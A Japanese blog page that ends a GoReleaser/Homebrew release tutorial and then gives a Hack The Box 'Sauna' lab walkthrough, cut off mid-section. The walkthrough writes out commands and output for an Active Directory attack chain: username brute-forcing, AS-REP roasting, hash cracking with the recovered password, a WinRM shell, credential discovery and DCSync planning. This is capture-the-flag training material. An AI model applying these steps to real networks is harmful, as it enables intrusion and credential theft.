itemprop="image"></span></p> <p>New secretをクリックすると以下のようなページになります。</p> <p>Nameには今回使う用途に合わせて名前をつけます。今回、私の場合では<code>HOMEBREW_TOKEN</code>としました。</p> <p>(<code>GITHUB</code>から始まる名前は使えませんので注意)</p> <p>Valueには先ほど生成し、コピーしておいたaccess tokenの値を入力します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823161745.png" alt="f:id:security_index:20200823161745p:plain" title="f:id:security_index:20200823161745p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>Nameで設定した値を<code>.github/workflows/release.yml</code>で<code>GITHUB_TOKEN: ${{ secrets.HOMEBREW_TOKEN }}</code>のように設定します。</p> <h3 id="Homebrew用のリポジトリ作成">Homebrew用のリポジトリ作成</h3> <p>GoReleaserを実行するとHomebrewのFormulaというbrew installで実際に実行されるRubyのスクリプトが作成され、それをHomebrew用のリポジトリにコミットする、という処理が行われます。</p> <p>そのため、Homebrew用のリポジトリを事前に作成しておく必要があります。</p> <p>リポジトリ名は<code>.goreleaser.yml</code>の<code>neme</code>と同じものにしましょう。</p> <p><a href="https://github.com/s-index/homebrew-go-cve-search">GitHub - s-index/homebrew-go-cve-search</a></p> <h3 id="tagをつけてリリースする">tagをつけてリリースする</h3> <p>設定は上記で完了です。</p> <p>あとは、tagをつけてリリースするだけでGithub Actionsがバイナリの提供やHomebrew Formulaを作成してくれます。</p> <p>Actionsをみると正常に動作したか、またはエラーが発生したのか確認できます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823162531.png" alt="f:id:security_index:20200823162531p:plain" title="f:id:security_index:20200823162531p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>Github Tokenの設定がうまくいかなった時には以下のようなエラーが出ました。</p> <p><code>.github/workflows/release.yml</code>の<code>GITHUB_TOKEN</code>の設定を<code>GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}</code>のように自動で生成されるGITHUB_TOKEN secretでは他のリポジトリへのアクセス権限がないためにエラーとなります。</p> <p>また、secretsの名前が正しくない場合にも当然ですがエラーになります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823162832.png" alt="f:id:security_index:20200823162832p:plain" title="f:id:security_index:20200823162832p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>上手くできた場合にはこのようにgoreleaserbotがHomebrew Formulaを生成してくれます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823163538.png" alt="f:id:security_index:20200823163538p:plain" title="f:id:security_index:20200823163538p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>binary提供用の設定もしている場合には<a href="https://github.com/s-index/go-cve-search/releases/latest">リリースページ</a>でWindows/macOS/Linux用の実行ファイルも自動で提供されます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823163850.png" alt="f:id:security_index:20200823163850p:plain" title="f:id:security_index:20200823163850p:plain" class="hatena-fotolife" itemprop="image"></span></p> <h2 id="最後に">最後に</h2> <p>GoReleaserとGithub Actionsを使えばとても簡単に各OS毎の実行ファイル、Homebrew installの設定が行えます。</p> <p>一度設定してしまえばあとはリリースする度に最新のものが自動で提供されるようになるのでとてもおすすめです。</p> <p><a href="https://amzn.to/32cVapg">改訂2版 みんなのGo言語</a></p> <p><a href="https://amzn.to/2CUIN8M">Goならわかるシステムプログラミング</a></p> <p><a href="https://amzn.to/34lVp45">Go言語でつくるインタプリタ</a></p> <hr /> <p><a href="https://twitter.com/security_index">Twitter (@security_index)</a></p> security_index Hack The Box: Sauna Walkthrough (IppSec) hatenablog://entry/26006613615728815 2020-08-17T20:18:03+09:00 2020-09-27T17:37:32+09:00 Hack The BoxのSauna (Easy, Windows)のWalkthroughです。 丁寧に書いたのでHack The BoxのWindowsマシンの攻略の参考やそもそもHack The Boxってどんな感じなことやればいいの?といった雰囲気を感じることもできると思います。 IppSecの動画を見ながらやったのでほぼ同じ内容になっていると思います。 Hack The Boxって何?という方は以下の記事が参考になります。 Hack The Boxって何?と思ったら読むブログ Hack The Boxを始めて1つrootを取るまでのメモ Hack The Box 始めたい!という方は… <p>Hack The BoxのSauna (Easy, Windows)のWalkthroughです。</p> <p>丁寧に書いたのでHack The BoxのWindowsマシンの攻略の参考やそもそもHack The Boxってどんな感じなことやればいいの?といった雰囲気を感じることもできると思います。</p> <p>IppSecの動画を見ながらやったのでほぼ同じ内容になっていると思います。</p> <p>Hack The Boxって何?という方は以下の記事が参考になります。</p> <ul> <li><p><a href="https://security-index.hatenablog.com/entry/2020/06/21/221151">Hack The Boxって何?と思ったら読むブログ</a></p></li> <li><p><a href="https://security-index.hatenablog.com/entry/2020/06/14/134334">Hack The Boxを始めて1つrootを取るまでのメモ</a></p></li> </ul> <p>Hack The Box 始めたい!という方は@v_avengerさんの以下の記事がおすすめです!</p> <ul> <li><a href="https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84">Hack The Box&#x3092;&#x697D;&#x3057;&#x3080;&#x305F;&#x3081;&#x306E;Kali Linux&#x30C1;&#x30E5;&#x30FC;&#x30CB;&#x30F3;&#x30B0; - Qiita</a></li> </ul> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817193657.jpg" alt="f:id:security_index:20200817193657j:plain" title="f:id:security_index:20200817193657j:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>日本語Walkthroughのまとめも公開してます。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/08/30/163229">Hack The Box &#x65E5;&#x672C;&#x8A9E; Walkthrough/Writeup &#x307E;&#x3068;&#x3081; - Security Index</a></p> <ul class="table-of-contents"> <li><a href="#User-Own">User Own</a><ul> <li><a href="#Nmap">Nmap</a></li> <li><a href="#crackmapexec">crackmapexec</a></li> <li><a href="#smbmap">smbmap</a></li> <li><a href="#ウェブページ確認">ウェブページ確認</a><ul> <li><a href="#ソースの確認">ソースの確認</a></li> <li><a href="#拡張子の確認">拡張子の確認</a></li> <li><a href="#ユーザー名候補一覧の収集作成-Vim-レコーディング機能">ユーザー名候補一覧の収集、作成 (Vim レコーディング機能)</a></li> </ul> </li> <li><a href="#kerbrute">kerbrute</a></li> <li><a href="#etchostsの設定">/etc/hostsの設定</a></li> <li><a href="#GetNPUsers">GetNPUsers</a></li> <li><a href="#hashcat">hashcat</a></li> <li><a href="#evil-winrm">evil-winrm</a></li> </ul> </li> <li><a href="#Root-Own">Root Own</a><ul> <li><a href="#winPEAS">winPEAS</a></li> <li><a href="#Bloodhound">Bloodhound</a></li> <li><a href="#secretsdump">secretsdump</a></li> <li><a href="#psexec">psexec</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <h2 id="User-Own">User Own</h2> <h3 id="Nmap">Nmap</h3> <p>まずは、nmapでスキャンします。</p> <pre class="code" data-lang="" data-unlink>nmap -v -sC -sV -oA nmap/sauna 10.10.10.175</pre> <p>簡単にそれぞれのオプションについて説明すると</p> <pre class="code" data-lang="" data-unlink>-v : 出力を詳細にする -sC : デフォルトのスクリプトでスキャン。-scrip=defautと同じ。 -sV : バージョンの検出 -oA : 出力(Output)をALL。XML、スクリプトキディ出力、grep用出力をする。</pre> <p><code>-oA nmap/sauna</code>とすることでnmapフォルダ以下に3つのnmapのスキャン結果ファイルが生成されます。</p> <pre class="code" data-lang="" data-unlink>sauna.gnmap sauna.nmap sauna.xml</pre> <p>ファイルとして残しておくことで、あとで確認しやすくなりますし、ペンテストやレッドチームでは最終調査結果をレポートとして提出すると思うのでファイルとして残しておくことを癖にしておくことは良いと思います。</p> <p>nmapの実行結果の一部は以下のようになります。</p> <pre class="code" data-lang="" data-unlink>Discovered open port 445/tcp on 10.10.10.175 Discovered open port 80/tcp on 10.10.10.175 Discovered open port 135/tcp on 10.10.10.175 Discovered open port 139/tcp on 10.10.10.175 Discovered open port 53/tcp on 10.10.10.175 Discovered open port 3268/tcp on 10.10.10.175 Discovered open port 636/tcp on 10.10.10.175 Discovered open port 464/tcp on 10.10.10.175 Discovered open port 3269/tcp on 10.10.10.175 Discovered open port 593/tcp on 10.10.10.175 Discovered open port 88/tcp on 10.10.10.175 Discovered open port 389/tcp on 10.10.10.175</pre> <p>今回はHack The Boxのマシンのページで対象のサーバーがWindowsであることがわかっていますが、</p> <pre class="code" data-lang="" data-unlink>88 : kerberos 445 : SMB 636 : 暗号化されたLDAP</pre> <p>これらのOpen Portからも対象のサーバーがWindowsの可能性が高いとわかります。</p> <h3 id="crackmapexec">crackmapexec</h3> <p>CrackMapExec (CME) は、Active Direcotryへの自動セキュリティアセスメントツール(post-exploitation)で、できるだけIDS/IPSに検知されないように設計されたもののようです。</p> <p>内部でImpacket, PowerSploit, Mimikittenzなどのツールが使われているようです。</p> <p><a href="https://mpgn.gitbook.io/crackmapexec/">Introduction - CrackMapExec ~ CME WIKI</a></p> <pre class="code" data-lang="" data-unlink># crackmapexec smb 10.10.10.175 --shares -u &#39;&#39; -p &#39;&#39; SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False) SMB 10.10.10.175 445 SAUNA [-] EGOTISTICALBANK\: STATUS_ACCESS_DENIED SMB 10.10.10.175 445 SAUNA [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)</pre> <p>username, password共に空なので当然ですが<code>STATUS_ACCESS_DENIED</code>となり上手くいきません。</p> <p>しかし、<code>(name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False)</code>という情報は得られました。</p> <h3 id="smbmap">smbmap</h3> <p>crackmapexec以外のツールでも確認してみます。</p> <p>smbmapはドメイン全体のsambaの共有ドライブの列挙ができるものです。</p> <pre class="code" data-lang="" data-unlink># smbmap -H 10.10.10.175 -u &#39;&#39; -p &#39;&#39; [+] IP: 10.10.10.175:445 Name: 10.10.10.175 </pre> <p>smbmapでもcrackmapexecで得られたこと以上の情報は得られません。</p> <h3 id="ウェブページ確認">ウェブページ確認</h3> <p>次にウェブページを確認します。</p> <p>nmapで80番ポートがOPENだったのでアクセスできるはずです。</p> <p><code>10.10.10.175</code>にアクセスするとこのようなページへアクセスできます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817111631.png" alt="f:id:security_index:20200817111631p:plain" title="f:id:security_index:20200817111631p:plain" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="ソースの確認">ソースの確認</h4> <p>ウェブページのソースを確認してみます。</p> <p>Ctrl+Uでソースの確認ができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817111710.png" alt="f:id:security_index:20200817111710p:plain" title="f:id:security_index:20200817111710p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>ソースを確認することでどんなCMS (WordPressやDrulpal)が使われているか特定できることがあります。</p> <p>今回は特に気になるCMSは使われていなそうです。</p> <h4 id="拡張子の確認">拡張子の確認</h4> <p><code>10.10.10.175/index.html</code>, <code>10.10.10.175/index.php</code>, <code>10.10.10.175/index.asp</code>, <code>10.10.10.175/index.aspx</code>のように拡張子を変えてアクセスすることで内部がPHPで動いているのか、ASPが使われているのか推測することができます。</p> <p>今回は<code>.html</code>しかアクセスできませんでした。</p> <h4 id="ユーザー名候補一覧の収集作成-Vim-レコーディング機能">ユーザー名候補一覧の収集、作成 (Vim レコーディング機能)</h4> <p>ウェブページにはどんな人たちが開発に関わっているのか推測できる情報が載っている場合があります。</p> <p>今回の場合ではabout usのページに提供サービスに関わる人たちのフルネームが掲載されているます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817112741.png" alt="f:id:security_index:20200817112741p:plain" title="f:id:security_index:20200817112741p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>この情報からサーバーで利用されているユーザー名の候補一覧を作成することができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817113027.png" alt="f:id:security_index:20200817113027p:plain" title="f:id:security_index:20200817113027p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>Vimで名前をコピペします。</p> <p>しかし、このままの形でユーザー名が登録されているかはわかりません。 Fergus Smithであれば、F.Smithという形で登録することもありますし、FSmithやFergus.Smithなどいくつかよく登録されれるパターンが考えられます。</p> <p>そこでこれらのパターンを網羅するようにユーザー名候補一覧を追加していきます。</p> <p>ここではVimのレコーディング機能を使って効率良く候補一覧を作成します。</p> <p>Vimではノーマルモード時に<code>qa</code>を押すことでその後の操作のレコーディングを行うことができます。</p> <p>左下のように<code>recording</code>と書かれている間操作を記録し、ノーマルモード時に<code>q</code>を押すとレコードが終了となります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817113525.png" alt="f:id:security_index:20200817113525p:plain" title="f:id:security_index:20200817113525p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>このレコーディング機能を使って一行目のFergus SmithをFergus.Smith, FSmith, Fergus.Smithに変更し、その以降のものに関しては記録したものを<code>@a</code>で再現することができるのでそれを使って複製していきます。</p> <p><code>5@a</code>とすることで5回同じ処理を繰り返すことができますので一度に以下のようなユーザー名候補を作成することができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817113752.png" alt="f:id:security_index:20200817113752p:plain" title="f:id:security_index:20200817113752p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>これらの候補一覧に加えて、Windowsアカウントで使われる<code>administrator</code>と<code>guest</code>を追加しておきます。</p> <h3 id="kerbrute">kerbrute</h3> <p>ユーザー名候補一覧が作成できたら、Active Directoryのアカウントに対してブルートフォースができる<a href="https://github.com/ropnop/kerbrute">kerbrute</a>を使います。</p> <p>余談ですが、kerbruteはGo言語で書かれており、セキュリティのツールはPythonが多いイメージがあるが最近はGoも見る気がしています。</p> <p>releasesから実行ファイルをダウンロードして利用します。</p> <p>chmodして、先ほど作成したユーザー名候補一覧<code>users.txt</code>を引数に入れます。</p> <pre class="code" data-lang="" data-unlink># chmod +x kerbrute_linux_amd64 # ./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICALBANK users.txt</pre> <p>実行結果をみると、<code>administrator</code>と<code>FSmith</code>がヒットしました。</p> <pre class="code" data-lang="" data-unlink>2020/08/15 03:03:49 &gt; [+] VALID USERNAME: administrator@EGOTISTICALBANK 2020/08/15 03:03:49 &gt; [+] VALID USERNAME: FSmith@EGOTISTICALBANK 2020/08/15 03:03:49 &gt; Done! Tested 26 usernames (2 valid) in 0.747 seconds</pre> <h3 id="etchostsの設定">/etc/hostsの設定</h3> <p>次にやることの前準備として<code>/etc/hosts</code>の設定を行います。</p> <p><code>/etc/hosts</code>でIPアドレスとそれに対応するホスト名を設定することができます。</p> <p>以下のように一行に複数のホスト名を列挙して設定することもできます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817115255.png" alt="f:id:security_index:20200817115255p:plain" title="f:id:security_index:20200817115255p:plain" class="hatena-fotolife" itemprop="image"></span></p> <h3 id="GetNPUsers">GetNPUsers</h3> <p><a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>というネットワークプロトコルを操作するためのもので、examples以下に色々な使い勝手の良いスクリプトが用意されています。</p> <p><a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py">GetNPUsers</a>は、Impacketのexamplesの中の一つで、Kerberos認証で使われるTGT(Ticket Granting Ticket)を取得することができます。</p> <p>kaliでは既にimpacketがインストールされているのでそちらを使います。</p> <p><code>locate GetNPUsers</code>でどこにあるのか確認することができます。</p> <pre class="code" data-lang="" data-unlink># python3 GetNPUsers.py EGOTISTICALBANK/fsmith</pre> <p>実行結果</p> <pre class="code" data-lang="" data-unlink>[*] Cannot authenticate fsmith, getting its TGT $krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3</pre> <p>TGTを取得することができました!</p> <h3 id="hashcat">hashcat</h3> <p>TGTを取得することができたら次にパスワードを推測します。</p> <p>TGTにはパスワードハッシュが含まれているのでhashcatを使うことでパスワードを特定することができます。</p> <p>hashcatはMD4, MD5, SHA1など多くのタイプのハッシュからパスワードを復元することができます。</p> <p>そのため、どのタイプのハッシュなのかもhashcatの引数(mode)として与える必要があるのでmodeが何に当たるのか確認します。</p> <pre class="code" data-lang="" data-unlink># hashcat --example-hashes | less</pre> <p>TGTの先頭の文字列<code>krb5asrep</code>で検索すると</p> <pre class="code" data-lang="" data-unlink>MODE: 18200 TYPE: Kerberos 5, etype 23, AS-REP HASH: $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac PASS: hashcat</pre> <p>modeが18200であることがわかります。</p> <p><code>hashcat -h</code>からもmodeの確認はできますが、実際に確認したいTGTの文字列から検索できるので<code>hashcat --example-hashes</code>も知っておくと便利です。</p> <p>modeがわかったら実際にhashcatでクラックします。</p> <pre class="code" data-lang="" data-unlink># hashcat -m 18200 tgt-hash.txt /usr/share/wordlists/rockyou.txt</pre> <p>(tgt-hash.txtに先ほど取得したTGTを保存しています)</p> <p>hashcatでは利用するパスワードリストも指定する必要がありますが、kaliで標準でインストールされている<code>/usr/share/wordlists/rockyou.txt</code>を利用することが良いと思います。</p> <p>実行するとして以下のように<code>Cracked</code>となり、<code>Thestrokes23</code>がパスワードだとわかりました!</p> <pre class="code" data-lang="" data-unlink>$krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3:Thestrokes23 Session..........: hashcat Status...........: Cracked Hash.Name........: Kerberos 5, etype 23, AS-REP</pre> <h3 id="evil-winrm">evil-winrm</h3> <p>ユーザー名、パスワード共にわかったので今度は<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>を使ってシェルの獲得を試みます。</p> <p>WinRM (Windows Remote Management)が有効になっている場合にはシェルが獲得できる可能性があります。</p> <p>まずはインストールします。</p> <p>evil-winrmはRubyなのでgemを使ってインストールできます。</p> <pre class="code" data-lang="" data-unlink># gem install evil-winrm</pre> <p>その後、ユーザー名、パスワードを引数に与えて実行します。</p> <pre class="code" data-lang="" data-unlink>evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23</pre> <p>結果</p> <pre class="code" data-lang="" data-unlink>Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\FSmith\Documents&gt; </pre> <p>シェル獲得成功です!</p> <p>あとは、Desktopに移動してuser.txtを開けばUser Own完了です。</p> <pre class="code" data-lang="" data-unlink>*Evil-WinRM* PS C:\Users\FSmith\Documents&gt; cd ../Desktop *Evil-WinRM* PS C:\Users\FSmith\Desktop&gt; dir Directory: C:\Users\FSmith\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/23/2020 10:03 AM 34 user.txt *Evil-WinRM* PS C:\Users\FSmith\Desktop&gt; Get-Content user.txt 1b5520b98d97cf17f24122a55baf70cf</pre> <h2 id="Root-Own">Root Own</h2> <p>一般ユーザーのアカウントを獲得できたあとは、管理者ユーザーへ権限の昇格を目指します。</p> <h3 id="winPEAS">winPEAS</h3> <p>Windowsの権限昇格のための便利ツールとして<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">winPEAS</a>があります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817153517.png" alt="f:id:security_index:20200817153517p:plain" title="f:id:security_index:20200817153517p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>winPEASは一般ユーザーでwinPEASを実行することで権限昇格のために役立ちそうな情報を収集し、重要な情報を赤色で表示してくれるものです。</p> <p>あくまで情報を集めて表示してくれるものなのでこれを実行すれば自動で管理者権限が取れるというものではありません。</p> <p>まずは、シェルを獲得できたユーザー上で実行する実行ファイルをダウンロードします。</p> <p>Githubの<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">privilege-escalation-awesome-scripts-suite</a>を丸ごとダウンロードして、<code>winPEAS/winPEASexe/winPEAS/bin/Release/</code>の中にある<code>winPEAS.exe</code>を使います。</p> <p>privilege-escalation-awesome-scripts-suiteにはwinPEAS以外にもlinPEASというLinux用のスクリプトも提供しています。</p> <p>winPEAS.exeがあるディレクトリ内でevil-winrmでログインしてアップロードします。</p> <pre class="code" data-lang="" data-unlink>Evil-WinRM* PS C:\Users\FSmith\Documents&gt; upload winPEAS.exe</pre> <p>アップロードが完了したら実行します。</p> <pre class="code" data-lang="" data-unlink>*Evil-WinRM* PS C:\Users\FSmith\Documents&gt; ./winPEAS.exe</pre> <p>実行するとかなり大量の結果が出力されます。</p> <p>以下のように重要な部分は赤色で表示されますのでその部分を重点的に確認していきます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817155359.png" alt="f:id:security_index:20200817155359p:plain" title="f:id:security_index:20200817155359p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>するとこのように<code>Some AutoLogon credentials were found!!</code>という興味深いものが発見できることがあります。</p> <p>ここでは<code>svc_loanmanager</code>というアカウントの自動ログインのパスワード<code>Moneymakestheworldgoround!</code>が発見できました。</p> <h3 id="Bloodhound">Bloodhound</h3> <p>winPEASでsvc_loanmanagerのパスワードまでは発見できたのですが、管理者権限のアカウントまでは繋がりませんでした。</p> <p>このような時に使えるのが<a href="https://github.com/BloodHoundAD/BloodHound">Bloodbound</a>です。</p> <p>BloodhoundではActive Directoryの権限の関係をグラフ化し、どのアカウントから管理者権限を取れるのかを明らかにしてくれるツールです。</p> <p>詳しくは@v_avengerさんの以下の記事が参考になります。</p> <p><a href="https://qiita.com/v_avenger/items/56ef4ae521af6579c058">BloodHound&#x3092;&#x4F7F;&#x7528;&#x3057;&#x305F;Windows Active Directory&#x74B0;&#x5883;&#x306E;&#x5206;&#x6790; - Qiita</a></p> <p>また、<a href="https://amzn.to/2Y2DgEv">レッドチーム実践ガイド</a>をお持ちの方は4.8 Windowsドメイン環境を乗っ取る 3. Bloodhound / Sharphound (P.163)にも詳しく書かれています。</p> <p>まずはインストールします。</p> <pre class="code" data-lang="" data-unlink># apt install -y bloodhound</pre> <p>neo4jも必要なので起動させます。</p> <pre class="code" data-lang="" data-unlink># neo4j console</pre> <p><code>http://localhost:7474/browser/</code>へアクセスして初期設定としてパスワードの変更を行います。</p> <p>(変更後のパスワードはこの後Bloodhoundで利用します)</p> <p>Bloodhoundを起動します。</p> <pre class="code" data-lang="" data-unlink># bloodhound </pre> <p>このようなログイン画面が出てきますのでユーザー名、変更後のパスワードを入力します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817161217.png" alt="f:id:security_index:20200817161217p:plain" title="f:id:security_index:20200817161217p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>真っ白いキャンバスが出てきたらOKです。</p> <p>次にWindowsサーバー上でBloodhoundのIngestorを実行し、Active Directoryのユーザー、グループ、ホストの情報を収集させます。</p> <p>Ingestorは<a href="https://github.com/BloodHoundAD/BloodHound">GithubのBloodhound</a>のIngestor以下にあるSharpHound.exeを使います。</p> <p>こちらをwinPEASと同様にWindowsサーバーにアップロードして実行します。</p> <pre class="code" data-lang="" data-unlink>*Evil-WinRM* PS C:\Users\FSmith\Documents&gt; upload SharpHound.exe *Evil-WinRM* PS C:\Users\FSmith\Documents&gt; ./SharpHound.exe</pre> <p>実行すると以下のようなzipファイルが生成されます。</p> <pre class="code" data-lang="" data-unlink>*Evil-WinRM* PS C:\Users\FSmith\Documents&gt; dir Directory: C:\Users\FSmith\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 8/16/2020 9:00 AM 9114 20200816090054_BloodHound.zip</pre> <p>こちらを今度はkali側にダウンロードします。</p> <pre class="code" data-lang="" data-unlink>*Evil-WinRM* PS C:\Users\FSmith\Documents&gt; download 20200816090054_BloodHound.zip</pre> <p>ダウンロードしたファイルを先ほどのBloodhoundに読み込ませます。</p> <p>ファイルをドラッグ&amp;ドロップさせればできます。</p> <p>次に自分が現在アクセスできるユーザーを登録していきます。</p> <p>現在、fsmithとsvc_loanmanagerのアカウントは獲得できているのでその設定を行います。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817162406.png" alt="f:id:security_index:20200817162406p:plain" title="f:id:security_index:20200817162406p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>左上の検索窓にfsmithやsvc_loanmanagerを入力するとサジェストされるのでクリックします。</p> <p>そうするとアイコンが表示されます。</p> <p>そのアイコン右クリックして表示されるメニューから<code>Mark User as Owned</code>を選択し、自分が権限を獲得できていることをマークしていきます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817162458.png" alt="f:id:security_index:20200817162458p:plain" title="f:id:security_index:20200817162458p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>(マークするとドクロマークが付きます)</p> <p>左上のマークを押して、Queriesの<code>Find Shortest Paths to Domain Admins</code>をクリックするとAdminまでの最短パスを確認できます。</p> <p>しかし、このパス上には既に獲得したアカウントはないため直接Adminになることはできないようです。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817162851.png" alt="f:id:security_index:20200817162851p:plain" title="f:id:security_index:20200817162851p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>次に<code>Find Principals with DCSync Rights</code>をクリックします。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200817/20200817163113.png" alt="f:id:security_index:20200817163113p:plain" title="f:id:security_index:20200817163113p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>すると右下にドクロマークの付いたアイコンがあり、DCSyncを使うとAdminまで辿り着けどうな感じがします。</p> <p>DCSyncとは何かというと、Administratorなどのドメイン内のユーザーのハッシュを取得するためにドメインコントローラーになりすましをするというものだそうです。</p> <p>DCSyncを実行するためにはドメイン管理者、Domain Controllersグループのメンバーなどである必要があり、今回svc_loanmgrが「Find Principals with DCSync Rights」で表示されたのでまさにDCSyncを実行できるユーザーであることがわかりました。</p> <p>DCSnycについても<a href="https://amzn.to/2Y2DgEv">レッドチーム実践ガイド</a>の4.9 ドメインコントローラのハッシュをダンプする (P.185)に書かれています。</p> <h3 id="secretsdump">secretsdump</h3> <p>Bloodhoundの結果、svc_loanmgrでDCSnycでAdminまで辿り着けそうだとわかりました。</p> <p>次に実際にAdminのハッシュを獲得するために<a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py">secretsdump</a>を使います。</p> <p>secretsdumpもGetNPUsersと同様にImpacketのexampleの中にあるもので、色々な方法を使ってハッシュのダンプを取得してくれます。</p> <p><code>locate 